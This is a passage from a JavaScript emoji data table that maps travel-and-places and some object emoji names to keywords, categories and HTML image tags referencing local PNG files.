    category: "travel_and_places"
  },
  monorail: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9d" src="1f69d.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bullettrain_side: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude84" src="1f684.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bullettrain_front: {
    keywords: [ "transportation", "vehicle", "speed", "fast", "public", "travel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude85" src="1f685.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  light_rail: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude88" src="1f688.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_railway: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9e" src="1f69e.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  steam_locomotive: {
    keywords: [ "transportation", "vehicle", "train" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude82" src="1f682.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  train2: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude86" src="1f686.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  metro: {
    keywords: [ "transportation", "blue-square", "mrt", "underground", "tube" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude87" src="1f687.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tram: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8a" src="1f68a.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  station: {
    keywords: [ "transportation", "vehicle", "public" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude89" src="1f689.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flying_saucer: {
    keywords: [ "transportation", "vehicle", "ufo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef8" src="1f6f8.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  helicopter: {
    keywords: [ "transportation", "vehicle", "fly" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude81" src="1f681.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  small_airplane: {
    keywords: [ "flight", "transportation", "fly", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee9" src="1f6e9.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  airplane: {
    keywords: [ "vehicle", "transportation", "flight", "fly" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2708\ufe0f" src="2708.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flight_departure: {
    keywords: [ "airport", "flight", "landing" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeeb" src="1f6eb.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flight_arrival: {
    keywords: [ "airport", "flight", "boarding" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeec" src="1f6ec.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sailboat: {
    keywords: [ "ship", "summer", "transportation", "water", "sailing" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f5" src="26f5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motor_boat: {
    keywords: [ "ship" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee5" src="1f6e5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  speedboat: {
    keywords: [ "ship", "transportation", "vehicle", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea4" src="1f6a4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ferry: {
    keywords: [ "boat", "ship", "yacht" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f4" src="26f4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  passenger_ship: {
    keywords: [ "yacht", "cruise", "ferry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef3" src="1f6f3.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rocket: {
    keywords: [ "launch", "ship", "staffmode", "NASA", "outer space", "outer_space", "fly" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude80" src="1f680.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  artificial_satellite: {
    keywords: [ "communication", "gps", "orbit", "spaceflight", "NASA", "ISS" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef0" src="1f6f0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  seat: {
    keywords: [ "sit", "airplane", "transport", "bus", "flight", "fly" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcba" src="1f4ba.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  canoe: {
    keywords: [ "boat", "paddle", "water", "ship" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef6" src="1f6f6.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  anchor: {
    keywords: [ "ship", "ferry", "sea", "boat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2693" src="2693.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  construction: {
    keywords: [ "wip", "progress", "caution", "warning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea7" src="1f6a7.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fuelpump: {
    keywords: [ "gas station", "petroleum" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26fd" src="26fd.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  busstop: {
    keywords: [ "transportation", "wait" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8f" src="1f68f.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  vertical_traffic_light: {
    keywords: [ "transportation", "driving" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea6" src="1f6a6.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  traffic_light: {
    keywords: [ "transportation", "signal" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea5" src="1f6a5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  checkered_flag: {
    keywords: [ "contest", "finishline", "race", "gokart" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc1" src="1f3c1.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ship: {
    keywords: [ "transportation", "titanic", "deploy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea2" src="1f6a2.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ferris_wheel: {
    keywords: [ "photo", "carnival", "londoneye" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa1" src="1f3a1.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  roller_coaster: {
    keywords: [ "carnival", "playground", "photo", "fun" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa2" src="1f3a2.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  carousel_horse: {
    keywords: [ "photo", "carnival" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa0" src="1f3a0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  building_construction: {
    keywords: [ "wip", "working", "progress" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd7" src="1f3d7.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  foggy: {
    keywords: [ "photo", "mountain" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf01" src="1f301.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tokyo_tower: {
    keywords: [ "photo", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfc" src="1f5fc.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  factory: {
    keywords: [ "building", "industry", "pollution", "smoke" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfed" src="1f3ed.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fountain: {
    keywords: [ "photo", "summer", "water", "fresh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f2" src="26f2.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rice_scene: {
    keywords: [ "photo", "japan", "asia", "tsukimi" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf91" src="1f391.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain: {
    keywords: [ "photo", "nature", "environment" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f0" src="26f0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_snow: {
    keywords: [ "photo", "nature", "environment", "winter", "cold" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd4" src="1f3d4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mount_fuji: {
    keywords: [ "photo", "mountain", "nature", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfb" src="1f5fb.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  volcano: {
    keywords: [ "photo", "nature", "disaster" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0b" src="1f30b.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  japan: {
    keywords: [ "nation", "country", "japanese", "asia" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfe" src="1f5fe.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  camping: {
    keywords: [ "photo", "outdoors", "tent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd5" src="1f3d5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tent: {
    keywords: [ "photo", "camping", "outdoors" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26fa" src="26fa.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  national_park: {
    keywords: [ "photo", "environment", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfde" src="1f3de.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motorway: {
    keywords: [ "road", "cupertino", "interstate", "highway" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee3" src="1f6e3.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  railway_track: {
    keywords: [ "train", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee4" src="1f6e4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sunrise: {
    keywords: [ "morning", "view", "vacation", "photo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf05" src="1f305.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sunrise_over_mountains: {
    keywords: [ "view", "vacation", "photo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf04" src="1f304.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  desert: {
    keywords: [ "photo", "warm", "saharah" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdc" src="1f3dc.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  beach_umbrella: {
    keywords: [ "weather", "summer", "sunny", "sand", "mojito" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd6" src="1f3d6.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  desert_island: {
    keywords: [ "photo", "tropical", "mojito" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdd" src="1f3dd.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  city_sunrise: {
    keywords: [ "photo", "good morning", "dawn" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf07" src="1f307.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  city_sunset: {
    keywords: [ "photo", "evening", "sky", "buildings" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf06" src="1f306.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  cityscape: {
    keywords: [ "photo", "night life", "urban" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd9" src="1f3d9.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  night_with_stars: {
    keywords: [ "evening", "city", "downtown" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf03" src="1f303.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bridge_at_night: {
    keywords: [ "photo", "sanfrancisco" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf09" src="1f309.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  milky_way: {
    keywords: [ "photo", "space", "stars" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0c" src="1f30c.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  stars: {
    keywords: [ "night", "photo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf20" src="1f320.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sparkler: {
    keywords: [ "stars", "night", "shine" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf87" src="1f387.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fireworks: {
    keywords: [ "photo", "festival", "carnival", "congratulations" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf86" src="1f386.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rainbow: {
    keywords: [ "nature", "happy", "unicorn_face", "photo", "sky", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf08" src="1f308.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  houses: {
    keywords: [ "buildings", "photo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd8" src="1f3d8.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  european_castle: {
    keywords: [ "building", "royalty", "history" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff0" src="1f3f0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  japanese_castle: {
    keywords: [ "photo", "building" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfef" src="1f3ef.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  stadium: {
    keywords: [ "photo", "place", "sports", "concert", "venue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdf" src="1f3df.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  statue_of_liberty: {
    keywords: [ "american", "newyork" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfd" src="1f5fd.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  house: {
    keywords: [ "building", "home" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe0" src="1f3e0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  house_with_garden: {
    keywords: [ "home", "plant", "nature" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe1" src="1f3e1.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  derelict_house: {
    keywords: [ "abandon", "evict", "broken", "building" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfda" src="1f3da.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  office: {
    keywords: [ "building", "bureau", "work" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe2" src="1f3e2.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  department_store: {
    keywords: [ "building", "shopping", "mall" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfec" src="1f3ec.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  post_office: {
    keywords: [ "building", "envelope", "communication" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe3" src="1f3e3.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  european_post_office: {
    keywords: [ "building", "email" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe4" src="1f3e4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  hospital: {
    keywords: [ "building", "health", "surgery", "doctor" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe5" src="1f3e5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bank: {
    keywords: [ "building", "money", "sales", "cash", "business", "enterprise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe6" src="1f3e6.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  hotel: {
    keywords: [ "building", "accomodation", "checkin" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe8" src="1f3e8.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  convenience_store: {
    keywords: [ "building", "shopping", "groceries" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfea" src="1f3ea.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  school: {
    keywords: [ "building", "student", "education", "learn", "teach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfeb" src="1f3eb.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  love_hotel: {
    keywords: [ "like", "affection", "dating" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe9" src="1f3e9.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  wedding: {
    keywords: [ "love", "like", "affection", "couple", "marriage", "bride", "groom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc92" src="1f492.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  classical_building: {
    keywords: [ "art", "culture", "history" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfdb" src="1f3db.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  church: {
    keywords: [ "building", "religion", "christ" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ea" src="26ea.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mosque: {
    keywords: [ "islam", "worship", "minaret" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4c" src="1f54c.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  synagogue: {
    keywords: [ "judaism", "worship", "temple", "jewish" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4d" src="1f54d.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  kaaba: {
    keywords: [ "mecca", "mosque", "islam" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4b" src="1f54b.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  shinto_shrine: {
    keywords: [ "temple", "japan", "kyoto" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26e9" src="26e9.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  watch: {
    keywords: [ "time", "accessories" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u231a" src="231a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  iphone: {
    keywords: [ "technology", "apple", "gadgets", "dial" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf1" src="1f4f1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  calling: {
    keywords: [ "iphone", "incoming" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf2" src="1f4f2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  computer: {
    keywords: [ "technology", "laptop", "screen", "display", "monitor" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbb" src="1f4bb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  keyboard: {
    keywords: [ "technology", "computer", "type", "input", "text" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2328" src="2328.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  desktop_computer: {
    keywords: [ "technology", "computing", "screen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda5" src="1f5a5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  printer: {
    keywords: [ "paper", "ink" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda8" src="1f5a8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  computer_mouse: {
    keywords: [ "click" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddb1" src="1f5b1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  trackball: {
    keywords: [ "technology", "trackpad" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddb2" src="1f5b2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  joystick: {
    keywords: [ "game", "play" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd79" src="1f579.png"/>',
    fitzpatrick_scale: false,
